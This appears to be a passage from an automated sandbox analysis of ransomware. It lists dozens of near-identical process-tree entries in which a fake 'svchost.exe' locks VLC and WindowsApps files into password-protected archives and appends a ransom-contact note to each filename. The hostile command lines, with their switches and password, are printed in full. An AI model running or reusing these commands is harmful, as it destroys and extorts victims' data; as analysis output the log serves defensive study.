                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ef8c08_256x240.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ef8c08_256x240.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4844
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5792
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5744
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\images\Audio-48.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\images\Audio-48.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2844
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\images\Back-48.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\images\Back-48.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:408
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\images\buttons.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\images\buttons.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1952
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\images\Folder-48.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\images\Folder-48.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4780
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\images\Other-48.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\images\Other-48.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4768
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\images\speaker-32.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\images\speaker-32.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4824
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\images\Video-48.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\images\Video-48.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5012
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\images\vlc-48.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\images\vlc-48.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5180
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\images\vlc16x16.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\images\vlc16x16.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3912
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\requests\browse.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\requests\browse.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3444
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\requests\playlist.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\requests\playlist.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3048
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\requests\playlist_jstree.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\requests\playlist_jstree.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3848
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\requests\README.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\requests\README.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4960
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\requests\status.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\requests\status.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3376
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\requests\vlm.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\requests\vlm.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5624
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\requests\vlm_cmd.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\requests\vlm_cmd.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5128
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\NEWS.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\NEWS.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5832
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\plugins\plugins.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\plugins\plugins.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2872
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\README.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\README.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1820
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\skins\winamp2.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\skins\winamp2.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1600
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\THANKS.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\THANKS.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2276
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.25.20211.0_neutral_split.scale-150_8wekyb3d8bbwe\AppxBlockMap.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.25.20211.0_neutral_split.scale-150_8wekyb3d8bbwe\AppxBlockMap.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1064
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
